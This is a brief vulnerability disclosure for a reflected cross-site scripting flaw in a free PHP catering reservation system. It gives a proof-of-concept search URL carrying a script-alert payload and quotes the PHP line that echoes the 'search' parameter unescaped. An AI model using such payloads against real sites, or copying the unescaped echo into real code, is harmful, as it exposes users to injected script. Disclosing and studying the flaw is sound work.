# Online-Catering-Reservation

Exploit: Online-Catering-Reservation Cross Site Scripting (XSS)

Vendor/Source Code: <https://www.sourcecodester.com/php/14896/online-catering-reservation-system-using-php-free-source-code.html>

Proof of Concept:

localhost/catering/?p=products&search=<script>alert('XSS')</script>

localhost says  
XSS

OK

Vulnerable Code:

```
topBarNav.php - Notepad
File Edit Format View Help

<script>alert('XSS')</script>

type="search" placeholder="Search" aria-label="Search" name="search" value="<?php echo isset($_GET['search']) ? $_GET['search'] : '' ?>" aria-describedby="button-submit" type="submit" id="button-addon2"><i class="fa fa-search"></i></button>
```
